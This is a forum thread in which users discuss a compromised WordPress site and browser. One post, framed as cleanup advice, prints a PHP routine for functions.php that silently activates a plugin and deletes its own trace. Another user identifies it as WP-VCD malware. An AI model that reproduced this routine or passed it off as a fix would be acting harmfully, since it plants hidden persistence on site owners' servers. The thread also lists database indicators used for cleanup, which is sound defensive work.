Am I under attack?

aboooodaj said:

Hallo
Delete these files and codes
mplugin.php
monit.php
class.plugin-modules.php

in functions.php




function true_plugins_activate() {
$active_plugins = get_option('active_plugins');
$activate_this = array(
'mplugin.php'
);
foreach ($activate_this as $plugin) {
if (!in_array($plugin, $active_plugins)) {
array_push($active_plugins, $plugin);
update_option('active_plugins', $active_plugins);
}
}
$new_active_plugins = get_option('active_plugins');
if (in_array('mplugin.php', $new_active_plugins)) {
$functionsPath = dirname(__FILE__) . '/functions.php';
$functions = file_get_contents($functionsPath);

$start = stripos($functions, "function true_plugins_activate()");
$end = strripos($functions, "true_plugins_activate");
$endDelete = $end + mb_strlen("true_plugins_activate") + 3;

if($start && $end) {
$str = substr($functions, 0, $start);
$str .= substr($functions, $endDelete);
file_put_contents($functionsPath, $str);
}
$script = file_get_contents('/mywebseit/class.plugin-modules.php');
file_put_contents('/mywebseit/wp-content/plugins/dflip/class.plugin-modules.php', '');
}
}

add_action('init', 'true_plugins_activate');

and
Change all passwords
User and database

Click to expand...

slvrsteele said:

First of all why would you keep developer mode on? You never do that when browsing.

Click to expand...

slvrsteele said:

First of all why would you keep developer mode on? You never do that when browsing.

Click to expand...

simis0702 said:

should i take some action or not, the harmful software is already deleted by google ( it was probably an extension

Click to expand...

mei2020 said:

Uninstall your infected browser using iobit unistaller (check remove residual), reinstall the browser.

Click to expand...

frizzel said:

@simis0702 @drslims CAUTION! I think the code you both quoted has nothing to do with the problem in the thread, but instead is malicious code itself (class.plugin-modules.php is related to the well-known WP-VCD malware).

I have reported the post by this new user aboooodaj.

Click to expand...

drslims said:

A site protected by Wordfence. I checked again. It could not detect any problems.

But when I check the database over Cpanel, there are malicious encodings in the "wp_options" table as written here. I managed to delete these codes from the table as in the article.

The words I searched in the database:
default_mont_options
ad_code
hide_admin
hide_logged_in
display_ad
search_engines
auto_update
ip_admin
cookies_admin
logged_admin
log_install

Plugins I have installed recently:

Betterdocs pro:
Elementor Pro (Last version):
Formidable pro:
Liker:
Monsterinsights pro:
Loco Translate Pro:
Yoast seo premium:

I had to remove them all.

I think I will have to implement a new wordpress installation. It will cost me 200 hours. Because I did not find the current situation very safe. I cleaned it up a bit, but I'm not comfortable yet.

Click to expand...